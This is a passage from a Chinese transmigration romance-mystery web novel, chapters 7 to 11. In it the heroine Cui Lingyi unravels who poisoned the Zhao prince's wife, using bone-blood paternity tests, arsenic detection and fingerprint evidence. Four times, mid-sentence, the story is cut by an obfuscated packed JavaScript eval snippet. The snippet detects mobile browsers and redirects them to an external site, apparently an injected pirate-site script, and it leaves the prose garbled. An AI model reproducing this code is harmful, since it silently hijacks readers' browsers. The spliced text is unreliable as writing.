萧临渊沉吟片刻,这才又看向崔令仪:“此法当真奏效?” 崔令仪毫无把握。 她这一生只在电视剧里看到过这个办法,现实生活中根本没有人实操过。 但她还是道:“此法在民间流传甚广,虽无十足把握,却也可一试。” 萧临渊下了决定,崔令仪便跟在他身后,亦步亦趋地往白芷柔的居所而去。那院落已经荒废良久,院里的草生的乱七八糟,而那女子独身站在月色之下,形销骨立,气息奄奄,如同幽魂一般。 崔令仪呼吸一滞。这就是原书女主白芷柔。 原书中使用了大量的笔墨来描写白芷柔的美貌,写她肤如凝脂惹人怜惜,写她明眸皓齿令人心折。那些大段大段的形容词在崔令仪看书时总是不耐烦的跳过,但如今一见她才知道,这些形容词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392349|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有意义的。 眼前的少女即便弱不胜衣,仍美得惊心动魄。她皎若明月,皑如春雪,身着月白色织金缠枝莲襦裙,浑身青莲随着她咳嗽轻颤,仿佛随时自她身上抖落入尘埃。鸦色长发未绾,衬得脸色更苍白如瓷,唯唇瓣一点殷红,似雪地里溅开的鲜血。 最难言的是那双眼睛。 琥珀色的瞳仁之中薄薄地拢上一层水雾,将她的生命和爱情无一不烧成灰烬。唯独在看到萧临渊时,那双眸子微微地发亮。 那是明珠蒙尘,所最后留存的一丝清辉。 按照原书的时间线,白芷柔今年二十三岁,已经在这段扭曲畸形的婚姻之中沉沦了八年了。 这段婚姻耗尽她所有的心血。即便她再美丽再出尘,也不过只是已故之人的替身。即使她再沉默再温顺,身侧总有嫉恨她的人要让她从云端跌进灰尘。 而当她看见萧临渊身后跟的是崔令仪,眼中最后一缕光也熄灭。她无奈地阖上眼,等待这两人即将给她带来的折辱。果不其然,萧临渊一开口就让她心酸。 “那个孽种在哪里?” 白芷柔不肯说,萧临渊因此强行捏住她的下颌,逼迫她看向他的眼睛,言之凿凿地用“贱种”、“孽种”之类的词语羞辱她。白芷柔的眼泪已经哭干了,她人还站在那里,魂魄像是已经飞走了。 很久很久,有婢女看不下去,跪下来求萧临渊放过她:“小公子,小公子被王妃葬在花园里了,求殿下别再折磨她了,她身子还未恢复,求殿下看在夫妻一场的份上,别再折磨她了。” 萧临渊冷冷地睨着那婢女:“去,把那孽种挖出来。” “不然孤就掐死她。” 那婢女跪在地上一连磕了数十个头也没能改变萧临渊的想法,最终被他吓得面无人色:“奴婢这就去,这就去。” 白芷柔终于有了些反应,她瞪大了眼睛,不可置信地看着萧临渊,声音沙哑:“你怎么能这么对我?那是我们的孩子啊!” 萧临渊却像是没听见一般,只是催促那婢女:“还不快去!” 崔令仪十分后悔自己刚才出了这个馊主意。 或许是她一直以来都把男女主当纸片人的缘故,所以她对一个已经死去的胎儿毫无怜悯之心。而当她亲眼看到萧临渊的偏执、白芷柔的崩溃,她忽然觉得,也或许有更好的解决办法。 她走上前去,想劝萧临渊不要强行挖出那孩子的尸首。可萧临渊根本听不进去她的话,崔令仪如今骑虎难下。萧临渊目光阴鸷,死死地盯着白芷柔,就像是在看一个物件,而不是一个人。 那婢女流着眼泪去花园,不久就回来了,手里捧着一个小小的匣子。 白芷柔瞧见那匣子,整个人开始剧烈的挣扎,嗓子里不断地发出“嗬嗬”的声音。她如今仿佛是一条离水的鱼,因为即将断绝声息而发出声嘶力竭地最后挣扎。然而萧临渊不管她哭,她也拧不过他,只等那婢女掀开盒子。 匣子里装着的是一具小小的白骨。 那个胎儿,在人世之中,只剩下这么一点点痕迹了。 8. 第 8 章 崔令仪望着那具婴孩的白骨,转过头“哇——”地吐了出来。前世今生,她第一次见到一具真实的白骨,来自于一个尚未出世的婴儿。 白芷柔的脸色更加难看,她被萧临渊抛在地上,整个人摇摇欲坠,几乎昏厥过去。 萧临渊却像是没看见一般,他催促崔令仪:“快,用你的办法。” 崔令仪吐得眼泪汪汪,仍是不忍直视那具尸骨。她在萧临渊的勉强下,取过银针扎在他的手指之上,随后挤出几滴血来,滴在那白骨之上。 所有人都屏住了呼吸,等着看那血液能不能渗入白骨之中。 那滴血竟然真的渗入了白骨。 也许是滴骨验血法真的有科学依据,又也许是胎儿的骨密度尚且不足,疏松多孔,血液很容易就能渗入其中。 但这都无所谓了。在场的所有人无不松了一口气。 萧临渊皱起眉头,看向白芷柔的目光中多了几分怀疑:“这是我的孩子?” “不是你的!”白芷柔立即发出一声冷笑,那笑声中带着无尽的凄楚绝望:“亏你用了她的办法,可你不必再试了,都是假的,这孩子根本就不是你的。” 萧临渊脸色骤变,他猛地一把抓起白芷柔的衣领,将她整个人提了起来:“你说什么?” 白芷柔的眼神空洞而麻木,她看着萧临渊,就像是在看着一个陌生人:“我说,那孩子不是你的,是我和别人的。” 萧临渊的脸色已经铁青,他松开白芷柔的衣领,整个人仿佛被抽空了力气一般,踉跄后退几步。 白芷柔跌坐在地上,开始放声大笑,满头鸦发无风自动,整个人好似陷入癫狂之中。 “这世上怎会有这样的父亲?” “只因为旁人的一句话,就逼迫身怀六甲的妻子去跪祠堂,还让我喝下堕胎药,以至于这孩子还没有看过这世上一眼,还没有哭一声,就去了。” “即便他死后,他的父亲也不让他安宁。先是不肯让他入殓,让他在荒园里曝尸多日,如今又要挖出他的尸骨来验证身份,只为了满足一个疯子的执念,只为了看一看,那究竟是不是他的孩子。” “萧临渊!”白芷柔发出凄惨地厉喝,“你不配有孩子,你永远都不配有孩子。孩子也幸亏,没有一个你这样的父亲。” 这句话仿佛触动了萧临渊心中的某根弦,他猛地一挥手,掌风带起一阵劲风,直扑白芷柔面门。 崔令仪惊呼出声,却已经来不及阻止。白芷柔被这一掌打得整个人飞了出去,撞在墙上,又跌落在地。 她咳出一口鲜血。 “萧临渊!”白芷柔道,“你要是有种,就直接杀了我。” 萧临渊的脸色已经阴沉以至于可怕,他一步步走向白芷柔,仿佛被激怒的野兽。 “你以为我不敢杀你吗?”他问。 白芷柔冷笑:“那你就来啊,你杀了我,快杀我啊!” 萧临渊被这句话彻底激怒,他提起剑,血槽之内还流出尚未擦干的血。 苍天啊,这还是言情小说吗? 崔令仪慌张极了,她并不明白既然已经证实了孩子是萧临渊的,他们两个怎么还能吵成这个鬼样。但她不能让白芷柔死在她面前,他们两个在背地里怎么闹都好,就是不能在她面前这样。 “住手!”崔令仪扑上去,按住他的手臂,“你不能杀她!孩子既然是你的,就证明白芷柔并没有与人有染,那你还杀她做什么,那岂不是放过了真正害你孩子的凶手?” “让开!”萧临渊低吼道,“否则我连你一起杀!” 崔令仪毫不退缩:“我不让!萧临渊,你懂不懂大周律法?按照大周律,你杀白芷柔虽罪可减二等,可杀我却是故杀!你毫无缘由地将我杀害,必定被判为绞刑或斩刑,双罪并罚,即便你身为王公贵族,难道就可以逃脱律法的制裁吗!” 萧临渊与崔令仪正在对峙,崔令仪仗着自己眼睛更大,能够更有气势地瞪他。一时间,赵王府内气氛紧张得几乎要凝固。最终是由一阵官兵的呼号声打破了寂静,谢珩率领着一群大理寺的衙役冲进了院子。 “大理寺办案,闲杂人等退避!” 萧临渊的脸色变得更加难看,他看了一眼崔令仪,又看了一眼大理寺的衙役,额头上青筋毕露,显然已经是在极力的忍耐了。 等两排衙役站定,谢珩从队伍的最末走了出来。他目光在众人身上扫视过一周,与崔令仪交换了个眼神,随后问:“这是怎么回事?” 崔令仪将事情经过简要讲述了一遍,谢珩听后,眉头紧锁。他看向萧临渊,叹道:“赵王殿下,即便王妃真有错处,你也不该如此对她。《周律》中有明文规定,‘手足伤人徒十日’,更何况,还连累了无辜的孩子。” 萧临渊却道:“谢少卿,此事乃我赵王府家事,你大理寺无权过问。” 谢珩却不惧他,正色道:“赵王殿下,大周律法面前,人人平等。此事还是数日前你亲自报案,我大理寺自然有权查办此案。” 萧临渊还想争辩,却被崔令仪拉住衣袖。她低声劝道:“临渊哥哥,此事已经闹大,你再纠缠下去,只会让事情变得更糟。不如先让大理寺查办,等事情水落石出,我们找到了真正害王妃和你孩子的真凶,你再追究也不迟。” 就在此刻,有个红衣女子从门外走进来。她笑声极有穿透力,如银铃般清脆悦耳,却带着显而易见的寒意:“哟,这唱的是哪一出啊?” 崔令仪甫一和她对上目光,空气中立刻有劈里啪啦的火药味弥漫开来,崔令仪当即明白了,这就是赵王侧妃,原著里的另一个恶毒女配,林绾绾。 林绾绾款款走进来,目光在众人身上扫了一圈,最后落在白芷柔身上,嘴角勾起一抹冷笑:“姐姐,你怎么弄成了这副模样?” 白芷柔没有理会她。 林绾绾也不在意,她走到萧临渊身边,亲昵地挽住他的手臂:“殿下,我听说姊姊这里出了点事,就过来看看,没想到竟然撞见了大理寺的人。” 萧临渊脸色阴沉,没有搭话。 林绾绾也不尴尬,她看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392350|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢珩,笑道:“谢少卿,这究竟是怎么回事啊?怎么大理寺的人跑到我们赵王府来了?” 谢珩道:“侧妃娘娘有所不知,数日前赵王殿下亲自到大理寺报案,称王妃与人有染,且腹中胎儿来历不明。大理寺来此,是奉旨查案。” 林绾绾故作惊讶:“哦?竟有此事?那姐姐腹中的孩子,究竟是不是殿下的呢?” 她目光转向白芷柔,脸上满是戏谑,仿佛在看一场精彩的好戏。 但这番话无异是把萧临渊的面子踩到了脚底下。王妃与人私通有孕,此事乃是王府秘辛,何况今天崔令仪已经力证孩子就是他的,林绾绾却还哪壶不开提哪壶。萧临渊的脸色顿时难看到了极点,怒道:“够了!给本王退下!” 林绾绾被他吓了一跳,这才瘪了瘪嘴巴,不再言语。而崔令仪则悄悄给谢珩使了个眼色,他双手背在身后,悄悄一摆,几个衙役悄悄退下,隐没在夜色之中。 萧临渊瞪了林绾绾一眼,半晌,他冷冷地转过头去,对谢珩道:“那就请谢少卿务必找出害我孩儿的真凶,还孤一个公道。这夜还长,孤给谢少卿三个时辰的时间,明日一早,若谢少卿还不能找出真凶,那孤一定在朝会之上,参你夜闯亲王府邸,以下犯上之罪。” 谢珩微微颔首:“赵王殿下放心,下官定当竭尽全力。” 萧临渊对下人道:“将王妃带回房中歇息,再派几个人在此守候,不得有误。” 下人应声,上前欲扶白芷柔,却被她挥手拒绝。白芷柔挣扎着站起身来,目光直视萧临渊,眼中满是决绝与恨意。 “不必你如此惺惺作态,我自己能走。”她冷道。 崔令仪看着白芷柔踉跄离去的背影,心中五味杂陈。她仿佛是一次认识到这个世界不仅仅只是一本言情小说,原本的剧情在她的行动轨迹改变后产生了庞大的蝴蝶效应,如此来看,男女主想要再HE,怕是很难了。 她看向谢珩,眼中满是忧虑。 “大人,这案子目前尚有疑点未破解,以我目前所掌握的证据来看,还无法断定谁是真正毒害白芷柔真凶。” 谢珩道:“擅闯亲王府邸,赵王给我三个时辰时间已经是在为今日之事堵天下悠悠之口了。机会难得,我们先把手边的证据罗列出来,或许会找到什么新的线索。” 首先是物证一,白芷柔的安胎药渣。 安胎药是导致白芷柔流产的直接原因,经过仵作分析之后认为其中最主要的内容物是水银、红花、麝香等的伤胎之药。崔令仪再次检验当日煮药的药罐,用银针试探发现毫无变化,但她向赵王府仆人讨要来香醋以后再试,药罐四壁释放出蒜臭味,并析出黄色结晶,证实当日毒害白芷柔的,除了红花、麝香等传统中药以外,还有硫化砷。 一般在古代,其表现形式就是砒霜。 崔令仪戴着手套提起药罐,情不自禁地觉得白芷柔真是命大。那一日她一个人至少吃了三种毒物,包括但不限于崔令仪原身所下的红花、林绾绾下的水银,和不知何人但想要她性命的砒霜。 9. 第 9 章 物证二,是永春堂的账册。崔令仪带来了永春堂前后三年的账册,意外发现三年之间账本用纸均有所不同,记录毒药的页面为竹浆纸,其余为楮皮纸,用艾草灰擦拭后可以发现,毒药记录处墨迹有所晕染,这是新墨遇碱变色的原理,其余页面无变化,证明永春堂中毒药记录系近期伪造。 其次是人证,林绾绾的乳母。 通过对于乳母形成的追踪来看,根据赵王府监门记录,乳母每五日持对牌出府,与账册毒药购买日期完全吻合,另有西市更夫为证,曾多次见乳母在宵禁以后进出永春堂后门,该时段药铺正门已闭,其行为举止实在令人怀疑。而谢珩在对林绾绾乳母的审讯过程中,林绾绾乳母对替林绾绾采买毒药一事供认不讳,但在她供述的毒物之中并没有砒霜,也就是说,第三个下毒者目前还不为所知。 第三就是动机,目前嫌疑最大的就是林绾绾。 林绾绾作为赵王侧妃,其动机显而易见。她与白芷柔同为萧临渊的妻妾,难免争风吃醋。加之白芷柔若诞下男胎,地位将更加稳固,这对林绾绾来说无疑是巨大的威胁。然而,林绾绾的嫌疑虽大,以目前的证据来看,也不能断定她就是真凶。 第四,关键性证物。 崔令仪将油墨拓印药罐把手,与王府其他人的画押指纹比对,药罐把手上的指纹与林绾绾乳母的最为接近,林绾绾在白芷柔的保胎药中下麝香、水银的证据链已经基本完整。但是水银是导致白芷柔流产的直接原因吗,目前无法断定。 再来说砒霜。通常来说,砒霜是有一定药用价值的,能够治疗一些血液性疾病,但需要在严格控制用量的情况下。可白芷柔非但没有罹患这类疾病,还是一个孕妇,所以一定为别人想要害她,或者想要害死她腹中的孩子。 现在最要紧的是,找到隐藏在暗处给白芷柔下砒霜的人。 崔令仪在脑中迅速回忆原书中想要暗害白芷柔的人。原书可以说是全员恶人,女主几乎没有任何一个朋友,剧情之中每个人接近她不是为了摧毁她,就是为了得到她。 在这一剧情节点,想要杀害她的是谁? 比如萧临渊的母亲安阳公主,她少年时曾许嫁一位将军,可那位将军却不幸战死沙场。安阳公主悲痛欲绝,日日酗酒,一日留宿在皇宫时,被陛下强逼,后来还意外有孕,生下了萧临渊。 安阳公主恨极了陛下,更是恨极了萧临渊。在萧临渊出生以后,她对其动辄打骂,从未给过他半点温情。萧临渊也对她从无孺慕之情,母子关系势同水火。 原书之中,白芷柔嫁入赵王府以后,安阳公主对她这个儿媳也多有挑剔,白芷柔包子性格从不反抗,任由她捏扁搓圆。可安阳公主虽然跋扈,但到底已经是半疯的状态,不足以让她把这事儿做的天衣无缝。 那么,还有谁,非要置白芷柔于死地呢? 比如太子萧景睿。赵王萧临渊战功赫赫,深得皇帝器重,他在得知萧临渊竟然是陛下的私生子后,为了巩固太子地位,也要阻止萧临渊的血脉传承。同时,他又对于白芷柔心怀扭曲的情感,既想得到她,又觉得她是他争夺皇位上的绊脚石。所以,萧景睿既有动机,也有机会对白芷柔下手。 可是,崔令仪转念一想,又觉得不太对劲。太子萧景睿虽然心思深沉,但原著中他并未表现出如此狠辣决绝的一面。在剧情最后,萧临渊击败萧景睿即将君临天下,萧景睿已经被陛下圈禁,仍然帮助白芷柔诈死,脱离了萧临渊的掌控。 除了他以外,赵王府内或许也有人想要白芷柔的性命。 丫鬟春桃亦是暗恋赵王多年,嫉妒白芷柔独享宠爱。认为除去王妃便能上位,多次在暗中给白芷柔下绊子,令白芷柔吃了不少苦头。可是,春桃只是一个丫鬟,她虽然心狠手辣,却未必有这样的手段和心机。 崔令仪想得头疼,却还是没有半点头绪。她看向谢珩,却见谢珩正目光灼灼地看着她。 “大人,你这么看着我做什么?”崔令仪被看得有些发毛。 谢珩道:“我在想,我们到底遗漏了哪些线索。” 崔令仪道:“大人,林绾绾是给白芷柔下水银和麝香的人,她已经准备了这么多,何必再给白芷柔加一味砒霜?在一般砒霜的应用之中,是没有致人流产的功能的,所以给白芷柔下砒霜的人,才是真正想要她的命的人。” “那我们该怎样找到这个人?” “大人,我要搜查白芷柔的房间。” 趁夜搜查虽然仓促,但的确被崔令仪查出一些线索。白芷柔佛堂的《金刚经》页边泛黄,有麝香的味道,据白芷柔说,这是安阳公主在白芷柔孕后所赠,要求她晨昏诵读,不可离手。 在白芷柔的脉案中也多次声称白芷柔气血双虚,可在白芷柔的药方之中却极少针对她的孱弱而下药,白芷柔向她谈及这位郎中是太子举荐给她的,那想必放任她身体虚弱以至于流产,也是得了太子的授意。 白芷柔的胭脂被查出有铅粉存在,长期使用有致人神经衰弱的可能。而白芷柔日常所用的胭脂水粉,皆是春桃所制。春桃是白芷柔的梳妆侍女,每次用法用量全由她在掌控,幸而白芷柔有孕以后减少了梳妆的次数,导致铅粉对她的影响不明显。 真不知道她是有多招人恨。 崔令仪扶额叹息。 如此她竟然还能够把胎儿养到六个月大,不得不说,还是因为她年轻力壮,有主角光环的庇佑。 她坐在梳妆台前,有一阵困倦涌上心头。在白芷柔房中的搜查能够佐证她之前对于嫌疑人的推敲,但这些人里,确实没有一个人想要以砒霜害她的性命,那么,砒霜究竟是从何而来? 崔令仪揉了揉太阳穴,努力让自己保持清醒。她看向一侧,在她身侧的软榻上是半躺着,脸色苍白的白芷柔。 崔令仪问白芷柔:“究竟是谁想要你们母子的性命,你有没有线索?” 白芷柔怔怔地看着她,许久问:“你竟真要帮我?” 嗓音宛转凄冷,如同玉碎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392351|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你信我也好,不信我也好,我只是想找到真相。”崔令仪道,“我要洗清我的嫌疑,还有你的。” “不过以后你还要就这么跟萧临渊一起生活吗?” “我还有别的办法吗?”白芷柔回答她,竟还落下一行泪。 “你可以和他和离啊。”崔令仪道。 白芷柔却笑了。 “我有什么办法能和他和离?他当年娶我时我也不愿嫁他,可我又能阻止得了他么?还不是上了花轿,这么多年以来,他一直在透过我的眼睛看另一个女人。” “但是我知道,即便当初是姊姊嫁给他,也不会有什么好结果的。” “她只会和我一样。” 她的声音越放越轻,却一字一字如同箴言般,说起未发生的一切。 “我知道你现在跟大理寺的人走的很近。”白芷柔又道,“可大理寺的人会帮我么?根据《周律》,丈夫伤妻罪减二等,妻子状告丈夫则要先坐两年刑狱。他又是亲王,我没有办法。” “我逃不出。” 崔令仪道:“我有办法。” “但是你要帮我。” 崔令仪在脑中数了一下她现有的积分,她现在一共做了三个任务,17个积分,而如果完成了这个任务,就将得到24个积分。 她很快就能向系统换取大判官笔了。 系统商城内,大判官笔正在发出耀眼的光泽,底下的小字向她介绍:可以根据宿主需要,修改一条法律条文。 崔令仪和白芷柔对坐良久,白芷柔最终从怀中摸索出一个纸包。 “拿着吧。”她凄然一笑,“说不定能帮的上忙。” 能够被白芷柔收在怀中的,必定是关键的证物。 纸包上蹭着不明的朱砂细屑,乍一看又像是女子的口脂。崔令仪顾不上道谢,她匆匆打开纸包,只见里边放的正是砒霜。 崔令仪追问:“这是你从哪里得来的?” 白芷柔抬手轻轻一指,顺那方向,让崔令仪能看见桌上的那尊三足双耳香炉。 “那一日春桃把这纸包急慌慌地塞进香炉中,我觉得奇怪,便在暗里收下了。” 崔令仪拿起砒霜,仔细端详。这砒霜色泽纯白,粉末细腻,显然是精心提炼过的。 再看纸包上的布包,上头的朱砂透过光,隐隐现出一个人的拇指印,其人拇指指纹上生着一枚细小的黑痣。 天终于亮了。 这一夜太过漫长,等她醒来时,人人脸颊上都挂着黑眼圈,谢珩正站在窗边,望着渐渐泛白的天际,神色凝重。 萧临渊带人从黑暗里走进来,他已经换上亲王的朝服,蟒纹在衣襟上隐隐蛰伏,随着他一步一步走进来,天光浮动,浑身四爪金蟒竟似活物般鳞爪微张。 “谢珩,你查的怎么样了?孤留给你的时间可不多了。” 谢珩转过身,拱手行礼:“殿下,下官已有些眉目。” 萧临渊紧盯着谢珩:“哦?那你就说来听听。” 10. 第 10 章 时间已是寅时三刻。 灯笼罩里点燃了惨白色的火焰,照得整个庭院之中都泛着青灰。堂前两排水火棍一一交叉成阵,衙役手持火把,刀光森严。赵王萧临渊坐在堂前,堂下并肩站着谢珩与崔令仪。 “真凶是谁?”萧临渊问。 谢珩道:“如果现在说出他的名字,可能就没有什么意思了,不如请崔小姐一点点抽丝剥茧,将真凶的面纱,在我们面前揭下来吧。” 崔令仪茫然抬头:什么情况,少年包青天在call我吗? 但她环顾四周,见每个人的目光都向她看来,她只得上前一步,清了清嗓子。 “既然谢大人要我说,那我便给大家进行一个初步的案情分析吧。”崔令仪道。 “大家都知道,我们今天聚集在这里,为的是找出给赵王妃白芷柔下毒致其流产的真凶。但这个案情其实并不简单,我们不能仅仅把目光只停留在流产这件事本身上,接下来,就让我从头给大家说明。” “首先,第一件事,赵王妃究竟有没有私通。” “起初指出王妃与郎中私通的人是我。我那时候来赵王府比较频繁,却每每发现郎中总是在每次诊脉时故意拖延时间。随后,殿下也在郎中的药箱,搜出了王妃写给郎中的情诗。当日仓皇,并没有进行笔迹对比,昨夜我又重新分析了王妃平时的笔迹,再跟情诗进行对比,可以发现,只是形似而已,可以看出是其他人仿造的。” 她出示了情书和白芷柔原本的字迹,可见确实有微小的不同。 当然了,那就是原身去模仿的。 “不但如此,我还重新检查了郎中的脉案。脉案显示王妃自有孕后便时常有气血双虚的情况。可在王妃的药方之中,却可以看出郎中极少对症下药,反倒是只开一些无功无过的药物。由此也可见,倘若郎中真的与王妃有私情,是不会这么轻忽她的身体的。” “昨夜赵王也和未出世的小公子进行了滴骨验亲,其结果已经显示小公子确实是皇室血脉,由此可以基本证明,赵王妃确实是没有与人私通的。” “再说第二件事,当日赵王妃所饮下的安胎药之中,到底有多少种毒物。” “安胎药是导致赵王妃流产的直接原因,经过分析后可以发现,其中主要的内容物是水银、红花、麝香等的伤胎之药。但当我再次检验当日煮药的药罐,使用醋淬法进行检验,发现药罐四壁释放出蒜臭味,并析出黄色结晶,证实当日毒害王妃的,除了红花、麝香等药,还有硫化砷,也就是我们俗称的,砒霜。” “接下来让我们看看不同的药物都是谁来下的吧。” “首先是红花,红花已经被证实是被王妃的侍女下在安胎药中的。但由于红花没有明确的毒理反应,对妇女生育所造成的影响还不得而知,因此我们在这里主要说以下几种。” “据仵作检验可以得知,王妃安胎药中的麝香来源自永春堂。我们对永春堂进行了探访,发现了林侧妃的乳母常常去购买相关的药物。根据赵王府监门记录,乳母每五日持对牌出府,与账册中的麝香等药物购买日期完全吻合,另有西市更夫为证,曾多次见乳母在宵禁以后进出永春堂后门,该时段药铺正门已闭,其行为举止实在令人怀疑。” “我以松烟墨拓印药罐把手,与王府其他人的画押指纹比对,药罐把手上的指纹确实与林绾绾乳母的最为接近,林侧妃在白芷柔的保胎药中下麝香、水银的证据链已经基本完整。而后,在谢大人对林侧妃乳母的审讯过程中,乳母对替林侧妃采买毒药一事供认不讳。但在她供述的毒物之中并没有砒霜,也就是说,还存在着第三个下毒者。” “让我们逐一来分析所有人戕害王妃及孩子的证物。首先就是林侧妃,她与白芷柔同为萧临渊的妻妾,难免争风吃醋。加之白芷柔若诞下男胎,地位将更加稳固,这对林绾绾来说无疑是巨大的威胁。” “其次还有安阳公主。王妃放在佛堂的《金刚经》页边泛黄,有麝香的味道,据王妃说,这是安阳公主在她孕后所赠,要求她晨昏诵读,不可离手。而安阳公主送麝香给白芷柔的目的,无疑是想让白芷柔流产。麝香有开窍醒神,活血通经,消肿止痛的功效,对于孕妇而言,却是催命的药。” “再来看太子萧景睿。王妃所用的郎中正是太子殿下举荐给她的,对太子而言,赵王虽是宗室子,但却和他一样姓萧。且殿下这几年战功赫赫,颇得陛下倚重,赵王殿下难道不算是他争夺皇位的绊脚石?” “那么,这个第三个下毒者究竟是谁呢?”崔令仪话锋一转,目光扫过在场的每一个人。 “他必须有足够的动机,也有机会接触到砒霜这样的毒药。而且,他还要能够确保自己的行动不被发现,或者即使被发现,也能将嫌疑转嫁到别人身上。” “在场的各位,有没有人符合这些条件呢?”崔令仪的话语中带着一丝质问的意味。 众人闻言,皆是神色各异,有的惊慌,有的疑惑,有的则是一脸无辜。 崔令仪缓缓走到一旁,拿起那尊三足双耳香炉,轻轻拨弄着里面的香灰。 “这尊香炉,是王妃日常所用。而砒霜,就是被人藏在了这香炉之中。在香炉中我们发现了这个纸包,上面有着朱砂痕迹和一枚带着黑痣的指纹。而能够有机会将这个纸包放进香炉中的,只有赵王府内的人。” “我昨夜已经让人拿着这枚指纹,去与赵王府内所有人的指纹进行比对。而结果,却有些出人意料。” 崔令仪再次停顿,故意吊足了众人的胃口,才继续说道:“这枚指纹,与赵王殿下的乳母,李嬷嬷的完全吻合。” 此言一出,满堂皆惊。 “大家先不要惊慌。”崔令仪笑道,“虽然指纹是李嬷嬷的,但这并不能证明就是她下的毒。毕竟,指纹也是可以被人盗用的。” “那依崔小姐之见,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392352|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒究竟是谁下的?”有人问道。 崔令仪看向萧临渊,轻飘飘地笑了一笑:“这就要问赵王殿下了。据我所知,李嬷嬷对赵王殿下忠心耿耿,几乎可以说是言听计从。那么,有没有可能是赵王殿下,想要借李嬷嬷之手,来除掉赵王妃腹中的孩子呢?” 此言一出,堂上又是一片哗然。 萧临渊的脸色瞬间变得阴沉无比,他怒视着崔令仪,说道:“令仪,胡闹!你知不知道你在说什么?你这是在污蔑孤!” “赵王殿下先别急着否认。”崔令仪说道,“王妃和太子殿下一直过从甚密,甚至王妃有孕,竟然只信任太子殿下举荐的郎中。这说明什么呢,是不是说明,或许太子殿下才是真正和王妃有染的人,或许太子殿下才是那孩子的父亲,所以,殿下便想要斩草除根。” “你胡说!”就在这时,一个尖利的声音突然响起。众人循声望去,只见李嬷嬷不知何时已经冲到了堂前,正指着崔令仪大骂道:“你这个恶毒的女人,休要在这里血口喷人!老奴对王爷忠心耿耿,又怎会做出这种下毒害人的事情来?” 崔令仪看着李嬷嬷,神情平静:“李嬷嬷不必激动,我只是提出一种可能性而已。毕竟,现在这种情况,我们每个人都有可能是凶手。” 李嬷嬷气的浑身发抖,却也说不出话来。 而就在此刻,堂外突然传来一阵急促的脚步声。众人循声望去,只见一名衙役匆匆走了进来,他走到谢珩身边,低声耳语了几句。谢珩闻言,脸色骤变。 他转身看向崔令仪,眼中闪过一丝复杂的神色:“崔小姐,真的被你猜中了。” 崔令仪笑道:“是么?” “我的人在王府里找到一个密室,里边不仅有红花、砒霜等药物,还有大量的竹浆纸。”谢珩道,“皇室平时所用都是泾县专门进贡的白鹿纸,也不知殿下平时收藏这许多纸所为何事。” “哟,这不是巧了么?”崔令仪笑道,“我翻阅了永春堂前后三年的账册,意外发现三年之间账本用纸均有所不同,记录毒药的页面为竹浆纸,其余为楮皮纸,用艾草灰碱化后发现,毒药记录处墨迹有所晕染,这是新墨遇碱变色的原理,其余页面无变化,证明永春堂的毒药记录系近期伪造的。” “而且这纸单薄,也正是正是砒霜纸包原料。”谢珩道。 萧临渊猛地站起身:“荒唐!孤若要杀她,何须如此大费周章!” “是么?”崔令仪似笑非笑,“要不要我们再聊聊殿下的密室除此之外还有点什么,想必一些毒药、纸张,是不足以修筑一个密室的。” 堂下哗然。 谢珩示意衙役呈上在密室中找到的其他证物。除了之前提到的红花、砒霜和竹浆纸,还有几封密信和几本账簿。 这些信是萧临渊与朝中某些大臣的往来书信,内容嘛,自然是关于如何巩固地位,排除异己的。 萧临渊大势已去。 11. 第 11 章 天已经亮了。 上早朝的时间已经错过了。 萧临渊脸色铁青,凝视着崔令仪和谢珩,道:“不错,给白芷柔下砒霜的,是我。” 此言一出,整个庭院再次陷入了一片死寂。 “为什么?”白芷柔的声音在堂上响起,她双眼红肿,声音沙哑,“你为什么要杀我?” 萧临渊没有回答。 “殿下战功赫赫,但并非太子。陛下年迈,太子萧景睿势力稳固,但朝中仍有部分大臣在暗中支持殿下。”崔令仪道,“殿下与太子如今势同水火,一个不知生父究竟是谁的孩子,一个不知道心中装的是谁的妻子,这对殿下的处境无疑是不利的。” 